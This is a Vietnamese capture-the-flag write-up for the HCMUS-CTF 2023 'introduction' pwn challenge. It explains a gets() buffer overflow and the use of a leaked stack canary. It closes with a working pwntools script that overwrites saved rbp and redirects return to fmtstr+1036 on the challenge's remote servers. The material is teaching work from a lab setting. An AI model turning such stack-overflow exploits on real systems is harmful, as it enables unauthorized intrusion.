# (writeup) HCMUS-CTF warmup 2023 ## Introduction - đây là bài quằn nhất, do chứa quá nhiều thông tin k liên quan đến hướng giải của flag =)))))) - check ida thì vô vàn hàm nhưng chỉ show mỗi hàm này vì có thứ cần khai thác ![](https://i.imgur.com/Rr27s46.png) - check lớp bảo vệ ![](https://i.imgur.com/fYXgs2m.png) - vì canary bật nên để overflow, ta cần leak canary ra vì đề cho ta sẵn kkkkk ![](https://i.imgur.com/wNbnEGr.png) - đầu tiên ta cần tìm offset trước địa chỉ canary, thì trong hàm **rop** có **get()** lỗi BOF ![](https://i.imgur.com/4sducS8.png) - thì ở đây ta debug và dừng lại ngay hàm **get** để coi canary ![](https://i.imgur.com/ZbBTLPy.png) - tạm thời mình lấy ngay địa chỉ màu đỏ ấy đi là nhập 0x50 hay là 80 byte, nhưng để canary k bị thoát chương trình thì mình lui lại 8 byte thành 72 r thêm 8 byte của địa chỉ canary vào - sau đó mình điều hướng nó tới hàm <**fmtstr**>+1036 vì nơi đó khả nghi và cũng skip qua mấy cái dài dòng văn tự của đề cho rồi pad thêm 8 byte để save rbp ![](https://i.imgur.com/wFk5WW6.png) - rồi chèn payload của mình vào thì thấy chưa dc, bị EOF hay lỗi j rồi - nên 8 byte save rbp đó mình sẽ đổi sang địa chỉ stack mà read vs write ![](https://i.imgur.com/we6SVSf.png) - theo kinh nghiệm thì địa chỉ đó ta thêm 0xa0 byte vào, vì lỡ may trong tính toán có trừ bớt thì k sợ rơi vào vùng địa chỉ trên(địa chỉ chỉ có khả năng read) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./introduction',checksec=False) #p = process(exe.path) p = remote('103.245.250.17',30006) #p = remote('61.28.237.106',30006) #p = remote('103.245.250.29',30006) p.recvuntil(b'explained later): ') canary_leak = int(p.recvline(),16) log.info("canary leak: " + hex(canary_leak)) #input() payload = b'A'*72 payload += p64(canary_leak) payload += p64(0x00000000006050a0) payload += p64(exe.sym['fmtstr']+1036) p.sendlineafter(b'Now, input something into the char buf array, and I will show you what that looks like on the stack.\n', payload) p.interactive() ``` HCMUS-CTF{4nd_s0_th3_3xpl01ts_b3g1n}